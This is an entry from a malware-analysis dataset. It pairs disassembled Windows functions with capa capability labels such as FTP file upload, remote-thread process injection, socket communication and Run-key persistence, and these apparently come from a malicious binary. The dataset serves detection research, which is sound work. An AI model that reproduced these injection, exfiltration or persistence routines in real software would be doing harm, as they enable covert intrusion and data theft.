joyce8/EMBER2024-capa huggingface dataset:
Function at 0x473448
Capabilities:
Connect to http server
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
mov eax, dword [ebp - 0xc]
call fcn.004059cc
mov eax, dword [ebp + 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x473525
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
push 0x473538
call sub.wininet.dll_InternetOpenA
mov dword [0x49a18c], eax
cmp dword [0x49a18c], 0
je 0x4734ee
push 0
push 0x8000000
push 1
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
mov eax, dword [ebp + 8]
call fcn.00409edc
push eax
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
mov eax, dword [0x49a18c]
push eax
call sub.wininet.dll_InternetConnectA
mov dword [0x49a188], eax
cmp dword [0x49a188], 0
je 0x4734ee
jmp 0x4734f9
xor ebx, ebx
mov byte [0x49422c], 0
jmp 0x473502
mov bl, 1
mov byte [0x49422c], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47352c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405554
lea eax, [ebp + 8]
call fcn.00405530
ret

Function at 0x473560
Capabilities:
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x4735d8
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x49422c], 0
je 0x4735bd
xor ebx, ebx
push 0
push 2
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
mov eax, dword [0x49a188]
push eax
call sub.wininet.dll_FtpPutFileA
test eax, eax
je 0x4735bd
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4735df
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret

Function at 0x473978
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x473a27
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x104
call fcn.00405c6c
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4739aa
sub ebx, 4
mov ebx, dword [ebx]
push ebx
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov edx, eax
lea eax, [ebp - 4]
call fcn.00405c6c
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4739cf
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 8]
push eax
mov ecx, 1
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00405a44
mov eax, dword [ebp - 8]
mov edx, 0x473a3c
call fcn.00405974
je 0x473a02
mov eax, esi
mov ecx, 0x473a3c
mov edx, dword [ebp - 4]
call fcn.00405864
jmp 0x473a0c
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00405584
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x473a2e
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x473a40
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, edx
push esp
push 0
push 0
push eax
push 0
call sub.SHFolder.dll_SHGetFolderPathA
test eax, 0x80000000
sete al
neg al
sbb eax, eax
test eax, eax
je 0x473a76
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.004057a0
jmp 0x473a7d
mov eax, ebx
call fcn.00405530
add esp, 0x108
pop ebx
ret

Function at 0x473d08
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x473daa
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0
push 0
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
call sub.kernel32.dll_CreateFileA_1
mov edi, eax
cmp edi, 0xffffffff
je 0x473d94
push 0
push edi
call sub.kernel32.dll_GetFileSize_1
mov esi, eax
push esi
mov eax, dword [ebp - 8]
mov ecx, 1
mov edx, dword [0x473948]
call fcn.00406928
add esp, 4
push 0
lea eax, [ebp - 0xc]
push eax
push esi
mov eax, dword [ebp - 8]
mov eax, dword [eax]
push eax
push edi
call sub.kernel32.dll_ReadFile_1
push edi
call sub.kernel32.dll_CloseHandle_1
cmp esi, dword [ebp - 0xc]
jne 0x473d94
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x473db1
lea eax, [ebp - 4]
call fcn.00405530
ret
Function at 0x474d58
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x474dde
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00405728
mov eax, dword [ebp - 8]
test eax, eax
je 0x474d8c
sub eax, 4
mov eax, dword [eax]
push 0x40
push 0x3000
inc eax
push eax
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.00405728
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x474db5
sub eax, 4
mov eax, dword [eax]
lea edx, [ebp - 4]
push edx
inc eax
push eax
push ebx
push edi
push esi
call sub.kernel32.dll_WriteProcessMemory
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x474de5
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00405554
ret

Function at 0x474df0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov esi, ecx
mov ebp, edx
mov ebx, eax
push 0x40
push 0x3000
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
push esp
push esi
push ebp
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
mov eax, edi
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x474e20
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00474df0
mov esi, eax
mov eax, edi
call fcn.00474d34
mov ecx, eax
mov edx, edi
mov eax, ebx
call fcn.00474df0
lea edx, [ebp - 0xc]
push edx
push 0
push esi
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
mov edi, eax
cmp byte [ebp + 8], 0
je 0x474e86
push 0xffffffffffffffff
push edi
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push ebx
call sub.kernel32.dll_ReadProcessMemory
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x475e2c
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x475ebd
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 8]
mov edx, dword [0x494b58]
mov edx, dword [edx]
mov eax, dword [ebp - 4]
call fcn.004613d8
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
call fcn.004055c8
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
call fcn.004055c8
mov eax, dword [ebp - 4]
test eax, eax
je 0x475e87
sub eax, 4
mov eax, dword [eax]
mov esi, eax
push 0
push esi
lea eax, [ebp - 4]
call fcn.00405a3c
push eax
mov eax, dword [0x494af0]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_send
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475ec4
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret

Function at 0x475ecc
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x475f58
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 8]
mov edx, dword [0x494b58]
mov edx, dword [edx]
mov eax, dword [ebp - 4]
call fcn.004613d8
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
call fcn.004055c8
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
call fcn.004055c8
mov eax, dword [ebp - 4]
test eax, eax
je 0x475f29
sub eax, 4
mov eax, dword [eax]
mov ebx, eax
push 0
push ebx
lea eax, [ebp - 4]
call fcn.00405a3c
push eax
push esi
call sub.wsock32.dll_send
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475f5f
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret

Function at 0x475fd8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
mov eax, dword [ebp - 0xc]
call fcn.004059cc
xor eax, eax
push ebp
push 0x47608a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov esi, eax
mov ebx, esi
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00405584
lea eax, [ebx + 4]
call fcn.00405530
lea eax, [ebx + 8]
mov edx, dword [ebp - 8]
call fcn.00405584
lea eax, [ebx + 0xc]
mov edx, dword [ebp - 0xc]
call fcn.00405584
lea eax, [ebx + 0x10]
mov edx, 0x4760a0
call fcn.00405584
mov eax, dword [ebp + 8]
add eax, 0xfffffffc
push eax
push 0
push esi
push 0x48317c
push 0
push 0
call sub.kernel32.dll_CreateThread_1
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x476091
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405554
ret
Function at 0x47eaec
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x47eaf4
push ebx
push esi
mov esi, dword [0x494cbc]
xor eax, eax
push ebp
push 0x47ecf0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x494b58]
push dword [eax]
lea eax, [ebp - 0x1c]
call fcn.0048bf2c
push dword [ebp - 0x1c]
lea edx, [ebp - 0x24]
mov eax, 0x47ed08
call fcn.004735e8
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.00409b7c
push dword [ebp - 0x20]
mov eax, dword [0x494b58]
mov edx, 3
call fcn.004058e0
mov eax, dword [0x494a74]
mov byte [eax], 0
mov eax, dword [0x494bac]
xor edx, edx
mov dword [eax], edx
lea edx, [ebp - 0x28]
mov eax, 0x47ed14
call fcn.004735e8
mov eax, dword [ebp - 0x28]
mov edx, 0x47ed28
call fcn.00405974
jne 0x47eb9d
mov eax, dword [0x494c2c]
push eax
push 0
push 0
push 0x482028
push 0
push 0
call sub.kernel32.dll_CreateThread_1
mov eax, dword [0x4948f4]
mov dword [eax], 1
mov eax, dword [0x4948b0]
mov byte [eax], 1
movzx eax, byte [0x47ed2c]
push eax
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [0x494c14]
mov eax, dword [eax]
mov ecx, 0x47ed38
mov edx, 0x47ed44
call fcn.0040ef44
mov edx, dword [ebp - 0x2c]
mov eax, dword [0x494c14]
call fcn.00405584
mov edx, dword [0x494c14]
mov edx, dword [edx]
mov eax, dword [0x494808]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea edx, [ebp - 0x30]
mov eax, dword [0x494910]
mov eax, dword [eax]
call fcn.0048bf54
mov edx, dword [ebp - 0x30]
mov eax, dword [0x4949e4]
call fcn.00405584
mov eax, dword [0x4949e4]
mov eax, dword [eax]
mov edx, 0x47ed50
call fcn.00405974
jne 0x47ec6f
call fcn.0040bc98
fstp qword [ebp - 0x10]
wait
push dword [ebp - 0xc]
push dword [ebp - 0x10]
mov edx, dword [0x494968]
mov edx, dword [edx]
lea eax, [ebp - 4]
call fcn.0040c8f8
call fcn.0040bcc4
fstp qword [ebp - 0x18]
wait
push dword [ebp - 0x14]
push dword [ebp - 0x18]
mov edx, dword [0x494ac8]
mov edx, dword [edx]
lea eax, [ebp - 8]
call fcn.0040c8f8
push dword [ebp - 4]
push 0x47ed60
push dword [ebp - 8]
mov eax, dword [0x4949e4]
mov edx, 3
call fcn.004058e0
mov cl, 1
mov dl, 1
mov eax, dword [0x4864c0]
call fcn.0041fa34
mov edx, dword [0x494d18]
mov dword [edx], eax
mov eax, dword [0x494d18]
mov eax, dword [eax]
mov byte [eax + 0xf], 1
mov eax, dword [0x494d18]
mov eax, dword [eax]
mov dl, 5
call fcn.0041fc40
mov eax, dword [0x494d18]
mov eax, dword [eax]
call fcn.0041fef0
jmp 0x47ecb8
push esi
call sub.user32.dll_TranslateMessage
push esi
call sub.user32.dll_DispatchMessageA
push 0
push 0
push 0
push esi
call sub.user32.dll_GetMessageA
test eax, eax
jne 0x47ecac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47ecf7
lea eax, [ebp - 0x30]
mov edx, 6
call fcn.00405554
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x47fe20
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x428], edx
mov dword [ebp - 0x420], edx
mov dword [ebp - 0x424], edx
mov dword [ebp - 4], edx
mov ebx, eax
lea esi, [ebp - 0x40c]
xor eax, eax
push ebp
push 0x480053
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebx + 0x44], 0
jne 0x48002d
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x48002d
mov word [ebp - 0x41c], 2
mov eax, dword [0x4949d4]
movzx eax, word [eax]
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0x41a], ax
mov eax, dword [0x494b30]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_inet_addr
mov edi, eax
mov dword [ebp - 0x418], edi
inc edi
jne 0x47fed3
mov eax, dword [0x494b30]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x48002d
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x418], eax
push 0x10
lea eax, [ebp - 0x41c]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_connect
push 0
push 0x400
push esi
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_recv
inc eax
je 0x480019
lea edx, [ebp - 0x424]
mov eax, dword [ebx + 0x40]
call fcn.00409d70
mov ecx, dword [ebp - 0x424]
lea eax, [ebp - 0x420]
mov edx, 0x48006c
call fcn.00405864
mov edx, dword [ebp - 0x420]
mov eax, dword [ebp - 8]
call fcn.00475ecc
push 0
push 0x400
push esi
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_recv
inc eax
je 0x480019
mov dl, 1
mov eax, dword [0x417b38]
call fcn.00404620
mov dword [ebp - 0xc], eax
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.0041b734
xor eax, eax
push ebp
push 0x480012
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
xor ecx, ecx
mov edx, 0x400
call fcn.00403af4
push 0
push 0x400
push esi
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_recv
mov ebx, eax
test ebx, ebx
jg 0x47ffd7
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.0041b734
lea edx, [ebp - 0x428]
mov eax, dword [ebp - 0xc]
call fcn.0048cdec
mov eax, dword [ebp - 0x428]
lea ecx, [ebp - 4]
mov edx, dword [0x494b58]
mov edx, dword [edx]
call fcn.004616b4
mov eax, dword [ebp - 4]
call fcn.004760a4
lea eax, [ebp - 0xc]
call fcn.0040f944
jmp 0x47fffc
mov edx, esi
mov ecx, ebx
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0x10]
push 0
push 0x400
lea eax, [esi + 1]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_send
jmp 0x47ff70
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x480019
mov eax, dword [ebp - 0xc]
call fcn.00404650
ret
push 2
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_shutdown
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_closesocket
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48005a
lea eax, [ebp - 0x428]
mov edx, 3
call fcn.00405554
lea eax, [ebp - 4]
call fcn.00405530
ret
Function at 0x4824b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf8
push ebx
push esi
mov dword [ebp - 4], edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x482542
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x408]
xor ecx, ecx
mov edx, 0x400
call fcn.00403af4
mov eax, dword [ebp - 4]
test eax, eax
je 0x4824f5
sub eax, 4
mov eax, dword [eax]
mov edx, eax
dec edx
test edx, edx
jl 0x482513
inc edx
xor esi, esi
lea eax, [ebp - 0x408]
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + esi]
mov byte [eax], cl
inc esi
inc eax
dec edx
jne 0x482505
push 0
push 0x400
lea eax, [ebp - 0x408]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_send
test eax, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x482549
lea eax, [ebp - 4]
call fcn.00405530
ret

Function at 0x482c40
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x482cb2
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xc
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov esi, eax
mov ebx, esi
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00405584
mov dword [ebx + 4], edi
mov eax, dword [ebp - 8]
mov dword [ebx + 8], eax
lea eax, [ebp - 0xc]
push eax
push 0
push esi
push 0x482b34
push 0
push 0
call sub.kernel32.dll_CreateThread_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x482cb9
lea eax, [ebp - 4]
call fcn.00405530
ret

Function at 0x484388
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4843e7
xor eax, eax
push ebp
push 0x4843e0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_TerminateProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4843e7
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
pop ecx
pop ecx
pop ebp
ret
Function at 0x484fc0
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
mov eax, dword [ebp - 0xc]
call fcn.004059cc
mov eax, dword [ebp + 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x4850ed
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4850b9
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 0xf003f
mov dl, 1
mov eax, dword [0x4215c4]
call fcn.00421708
mov ebx, eax
mov eax, dword [ebp - 4]
mov edx, 0x485108
call fcn.00405974
jne 0x48503a
mov esi, 0x80000002
mov eax, dword [ebp - 4]
mov edx, 0x485114
call fcn.00405974
jne 0x48504e
mov esi, 0x80000001
mov eax, dword [ebp - 8]
mov edx, 0x485114
call fcn.00405974
jne 0x48506a
lea eax, [ebp - 0x10]
mov edx, 0x485120
call fcn.004055c8
mov eax, dword [ebp - 8]
mov edx, 0x485108
call fcn.00405974
jne 0x485086
lea eax, [ebp - 0x10]
mov edx, 0x485120
call fcn.004055c8
mov edx, esi
mov eax, ebx
call fcn.004217a0
mov cl, 1
mov edx, dword [ebp - 0x10]
mov eax, ebx
call fcn.004218e4
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.00422008
mov eax, ebx
call fcn.00404650
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4850ca
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4850f4
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00405554
lea eax, [ebp + 8]
call fcn.00405530
ret

Function at 0x485150
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x48520a
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4851de
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
push 0x485218
push 0x80000001
call sub.advapi32.dll_RegOpenKeyA
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4851aa
sub ebx, 4
mov ebx, dword [ebx]
inc ebx
push ebx
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4851ef
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x485211
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x485888
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
mov eax, dword [ebp - 0xc]
call fcn.004059cc
xor eax, eax
push ebp
push 0x485939
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov esi, eax
mov ebx, esi
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00405584
lea eax, [ebx + 4]
call fcn.00405530
lea eax, [ebx + 8]
mov edx, dword [ebp - 8]
call fcn.00405584
lea eax, [ebx + 0xc]
mov edx, dword [ebp - 0xc]
call fcn.00405584
lea eax, [ebx + 0x10]
mov edx, 0x485950
call fcn.00405584
mov eax, dword [0x494c2c]
push eax
push 0
push esi
push 0x48317c
push 0
push 0
call sub.kernel32.dll_CreateThread_1
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x485940
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405554
ret

Function at 0x485f40
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], edx
mov esi, eax
xor eax, eax
push ebp
push 0x486072
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [0x49c3a0], eax
cmp dword [0x49c3a0], 0xffffffff
je 0x486057
mov word [ebp - 0x10], 2
mov eax, dword [0x4949d4]
movzx eax, word [eax]
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0xe], ax
mov eax, dword [0x494b30]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_inet_addr
mov edi, eax
mov dword [ebp - 0xc], edi
inc edi
jne 0x485fcc
mov eax, dword [0x494b30]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x486057
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
push 0x10
lea eax, [ebp - 0x10]
push eax
mov eax, dword [0x49c3a0]
push eax
call sub.wsock32.dll_connect
push 0
push 0x1fff
push 0x49a3a0
mov eax, dword [0x49c3a0]
push eax
call sub.wsock32.dll_recv
mov eax, 0x49a3a0
xor ecx, ecx
mov edx, 0x2000
call fcn.00403af4
lea edx, [ebp - 0x18]
mov eax, dword [esi + 0x50]
call fcn.00409d70
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 0x48608c
call fcn.00405864
mov edx, dword [ebp - 0x14]
mov eax, dword [0x49c3a0]
call fcn.00475ecc
push 0
push 0x1fff
push 0x49a3a0
mov eax, dword [0x49c3a0]
push eax
call sub.wsock32.dll_recv
mov eax, 0x49a3a0
xor ecx, ecx
mov edx, 0x2000
call fcn.00403af4
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x486079
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00405554
ret